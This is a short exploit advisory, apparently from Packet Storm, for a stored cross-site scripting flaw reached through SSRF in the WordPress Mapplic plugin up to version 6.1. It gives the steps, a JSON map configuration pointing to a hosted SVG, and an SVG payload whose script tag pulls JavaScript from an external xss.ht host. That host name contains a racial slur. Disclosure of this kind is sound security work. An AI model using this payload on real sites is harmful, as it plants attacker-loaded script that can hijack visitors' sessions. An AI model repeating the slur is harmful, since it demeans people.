WordPress Mapplic 6.1 SSRF / Cross Site Scripting

WordPress Mapplic plugin versions 6.1 and below suffer from a server-side request forgery vulnerability that can be leveraged to commit cross site scripting attacks.


MD5 | ac14ee13b09af933b71a33cae68c32ef

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#Title : Mapplic Wordpress Plugins Stored XSS Injection via SSRF
#Date : 22/03/2021
#Author : Eagle Eye
#Vendor Homepage : https://mapplic.com/
#Version Affected : 6.1 and below
#Tested on : Google Chrome
#XSS Vuln from add/edit Map and bypass with host raw.githubusercontent.com

#1.Login as user
#2.Add Add/Edit Map
   - [From Add]Enter github url with payload at "Map File (required)"
   - [From Edit]Click raw and enter github url with payload

#Example [From edit]
{"mapwidth":"100","mapheight":"100","minimap":false,"clearbutton":true,"zoombuttons":true,"sidebar":false,
"search":false,"hovertip":true,"mousewheel":true,"fullscreen":false,"deeplinking":true,"mapfill":false,
"zoom":true,"alphabetic":false,"zoomlimit":"3","action":"tooltip","categories":[],
"levels":[{"id":"my-map","title":"My Map","map":"
https://raw.githubusercontent.com/Aizat197/xss_test/main/xss.svg
","minimap":"","locations":[]}]}

#Payload
<svg version="1.1" id="mapplic-usa" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" x="0px"
     y="0px" width="960px" height="600px" viewBox="0 0 960 600"
enable-background="new 0 0 960 600" xml:space="preserve">
     <script src="https://meownigga.xss.ht"></script>
</svg>

Source: packetstormsecurity.com
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